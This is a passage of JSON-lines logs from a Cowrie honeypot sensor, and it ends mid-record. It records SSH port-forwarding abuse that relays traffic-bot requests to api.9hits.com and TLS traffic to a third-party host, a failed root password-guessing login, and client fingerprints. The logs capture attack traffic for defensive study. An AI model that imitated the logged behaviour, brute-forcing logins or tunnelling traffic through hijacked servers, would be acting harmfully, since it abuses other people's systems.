{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:46.366138Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QjJVUyhfc1FjZVd3VnNPbA%3D%3DlVqOmZMMDcqsoo8RR5wzDrh9KfjoNm069y75bNKA784u2ukm3yjsXir6YLVj8LiRw68sVA1iOIre1GVSWr%2FGQ%2BwDZ5BSRBInZSDNBKK8Y0%2BC49D5RgSCeR%2FeAq7GmfFTpgxC0qtq6in4ytU2r3%2F7vbH3LOEsWf5cthcbOoqRZptwdXDqgFwM0QrVcpqz1CE4VGWiQqHAkHPZ5dNGaMr4MS5rsMdr3fG8%2BLJa0s3iujik%2Bx3YlkCBM5D3h8RDI%2BBoa6v2Aqao9I9YZJz4FFDAbBsjDF4RSsQxYhaK38EKfNbONlV7%2F%2BadrN4zWd%2BDaBrBcG5sd5awWltbtHliDYnkSOVqwBS8YuO%2BmPLLEz%2BWlj1gSizmgZdn%2Fz%2FqWbQutZ19TbGO6pxihZahrReT%2BhKI2G4f3TwVnkMReQbvEGoogPQLXR6ftpK%2FlYfeaHG2iG77A7yggx3PavlXOWZJhPlUHxJrl1vo9U9LRLt%2Bws2ROx2367NqMro6GoGElEGPCSkYurFhtCiGZjUEYYnXBeXW%2F%2BWEgOjz02zm6W2wigrX8bpyyAGoRwd0iCFPlPVuy%2FvBISeRMC70JSnvVc5bBQlzpGjlY%2BSkT%2FKE3GdKIbZnPJgQoP8SyauuALn5aV2lyr6J4UM4nHKx1FmX%2FONFEVMQq3TUiiKor31gMTt0W4EQ2e9f6MnIalI%2BpdDQX80CpVBeak8c6koBOhikAWha5FMh2m4yq%2FNlZ8f5txpDbx%2FOTJD5A9p1aoLLZOW4IDKqxgNc4j0bsOWfLhb7xPKYDRFbxWYcm4FK3O8HPwdeiO6D52kkQWMWXZF0ui7I5G%2FOdGoMf0a5ts9oRuZko5dLXj0vsNJncEdjKSAk8OA1QZ0k5eDYjo5BHGxFcpYuqR4bQfT%2FFM0CTi6PnEiE0yaKeTrdiD5nRp4c9s9nLzZA%2BleR9ujbG%2FmoKXtv%2B%2BQbijN%2BYYJ3wYQLz6qxnc6uOT5AX8XUydHDaz2XZ5pWQCZBUdlr%2F08ZEcaZ6B4mW%2FpEzdMH0Vyy12Q%2B2tWdSxsNH1Fa19Tf8i7y0yPTVk07RAHHie6CHowBgzTADXCHHwmuT4nTr%2Flt'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QjJVUyhfc1FjZVd3VnNPbA%3D%3DlVqOmZMMDcqsoo8RR5wzDrh9KfjoNm069y75bNKA784u2ukm3yjsXir6YLVj8LiRw68sVA1iOIre1GVSWr%2FGQ%2BwDZ5BSRBInZSDNBKK8Y0%2BC49D5RgSCeR%2FeAq7GmfFTpgxC0qtq6in4ytU2r3%2F7vbH3LOEsWf5cthcbOoqRZptwdXDqgFwM0QrVcpqz1CE4VGWiQqHAkHPZ5dNGaMr4MS5rsMdr3fG8%2BLJa0s3iujik%2Bx3YlkCBM5D3h8RDI%2BBoa6v2Aqao9I9YZJz4FFDAbBsjDF4RSsQxYhaK38EKfNbONlV7%2F%2BadrN4zWd%2BDaBrBcG5sd5awWltbtHliDYnkSOVqwBS8YuO%2BmPLLEz%2BWlj1gSizmgZdn%2Fz%2FqWbQutZ19TbGO6pxihZahrReT%2BhKI2G4f3TwVnkMReQbvEGoogPQLXR6ftpK%2FlYfeaHG2iG77A7yggx3PavlXOWZJhPlUHxJrl1vo9U9LRLt%2Bws2ROx2367NqMro6GoGElEGPCSkYurFhtCiGZjUEYYnXBeXW%2F%2BWEgOjz02zm6W2wigrX8bpyyAGoRwd0iCFPlPVuy%2FvBISeRMC70JSnvVc5bBQlzpGjlY%2BSkT%2FKE3GdKIbZnPJgQoP8SyauuALn5aV2lyr6J4UM4nHKx1FmX%2FONFEVMQq3TUiiKor31gMTt0W4EQ2e9f6MnIalI%2BpdDQX80CpVBeak8c6koBOhikAWha5FMh2m4yq%2FNlZ8f5txpDbx%2FOTJD5A9p1aoLLZOW4IDKqxgNc4j0bsOWfLhb7xPKYDRFbxWYcm4FK3O8HPwdeiO6D52kkQWMWXZF0ui7I5G%2FOdGoMf0a5ts9oRuZko5dLXj0vsNJncEdjKSAk8OA1QZ0k5eDYjo5BHGxFcpYuqR4bQfT%2FFM0CTi6PnEiE0yaKeTrdiD5nRp4c9s9nLzZA%2BleR9ujbG%2FmoKXtv%2B%2BQbijN%2BYYJ3wYQLz6qxnc6uOT5AX8XUydHDaz2XZ5pWQCZBUdlr%2F08ZEcaZ6B4mW%2FpEzdMH0Vyy12Q%2B2tWdSxsNH1Fa19Tf8i7y0yPTVk07RAHHie6CHowBgzTADXCHHwmuT4nTr%2Flt'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:46.369286Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:46.379340Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab%/\\x19\\xc2\\xae\\xd4\\xb6<\\xbfT\\t\\x12\\x014\\x99\\x00\\x93\\x02.&_\\xa9o\"\\x88\\xe2\\x9a\\x1c\\x98\\x98\\xd8 \\xca\\x001\\xc0\\xed\\x16\\xac*\\xcc9\\x80\\x076\\x97\\xa7$\\xa8|\\x86\\xd9N\\xe0Ti\\x17\\xd5?8w\\x0ed\\xdf\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2V\\x849\\x04o\\xc9\\r9*\\xf4\\xbfV\\xc1\\xef\\x8e\\xd6Y[\\x81\\xc1q\\xb65y\\x84\\xe5r\\xb8*\\xb3d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab%/\\x19\\xc2\\xae\\xd4\\xb6<\\xbfT\\t\\x12\\x014\\x99\\x00\\x93\\x02.&_\\xa9o\"\\x88\\xe2\\x9a\\x1c\\x98\\x98\\xd8 \\xca\\x001\\xc0\\xed\\x16\\xac*\\xcc9\\x80\\x076\\x97\\xa7$\\xa8|\\x86\\xd9N\\xe0Ti\\x17\\xd5?8w\\x0ed\\xdf\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2V\\x849\\x04o\\xc9\\r9*\\xf4\\xbfV\\xc1\\xef\\x8e\\xd6Y[\\x81\\xc1q\\xb65y\\x84\\xe5r\\xb8*\\xb3d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:46.382334Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:46.667413Z","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:46.948354Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03QH\\xba\\x14}p\\xa1\\xc6Kd\\xa4\\xcd\\xab%[z\\x0f,\\x9f\\xc1\\xbdq#^\\x1f4+\\xf9\\x8f\\x8a\\x8d\\x14 \\xd1\\xbf\\x92\\x0b\\xcd0\\x9e\\x8a\\xb5\\xa9\\xbe%\\x97\\x8c5\\'\\x13\\xeb3g\\xb7\\x19Z\\x8b:\\xdc\\xb7\\x97\\xc9\\xd8\\x0b\\xb1\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 n=\\x19x\\x07\\x92\\xa49\\x05L\\x99\\xa3\\x10\\x0c(\\xdd-\\xcd\\xa8k\\xafH|\\x17\\xa3\\xdeM\\x9a\\xc0\\x12\\xac\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03QH\\xba\\x14}p\\xa1\\xc6Kd\\xa4\\xcd\\xab%[z\\x0f,\\x9f\\xc1\\xbdq#^\\x1f4+\\xf9\\x8f\\x8a\\x8d\\x14 \\xd1\\xbf\\x92\\x0b\\xcd0\\x9e\\x8a\\xb5\\xa9\\xbe%\\x97\\x8c5\\'\\x13\\xeb3g\\xb7\\x19Z\\x8b:\\xdc\\xb7\\x97\\xc9\\xd8\\x0b\\xb1\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 n=\\x19x\\x07\\x92\\xa49\\x05L\\x99\\xa3\\x10\\x0c(\\xdd-\\xcd\\xa8k\\xafH|\\x17\\xa3\\xdeM\\x9a\\xc0\\x12\\xac\\x1a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:46.951477Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:34:47.531786Z","src_ip":"113.164.152.20","session":"8229a3e8cf02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60708,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbb20a530fe4","protocol":"ssh","message":"New connection: 80.66.85.226:60708 (10.17.0.5:22) [session: dbb20a530fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:11.422168Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:11.429361Z","src_ip":"80.66.85.226","session":"dbb20a530fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:11.513922Z","src_ip":"80.66.85.226","session":"dbb20a530fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvetlana","message":"login attempt [root/cvetlana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:11.768120Z","src_ip":"80.66.85.226","session":"dbb20a530fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:12.857751Z","src_ip":"80.66.85.226","session":"dbb20a530fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50174,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b6bb2c7abfe","protocol":"telnet","message":"New connection: 172.81.62.90:50174 (159.203.135.109:23) [session: 0b6bb2c7abfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:15.904545Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":63817,"dst_ip":"10.17.0.5","dst_port":22,"session":"52fb9b51ac9f","protocol":"ssh","message":"New connection: 113.164.152.20:63817 (10.17.0.5:22) [session: 52fb9b51ac9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:20.952918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:35:20.958388Z","src_ip":"113.164.152.20","session":"52fb9b51ac9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp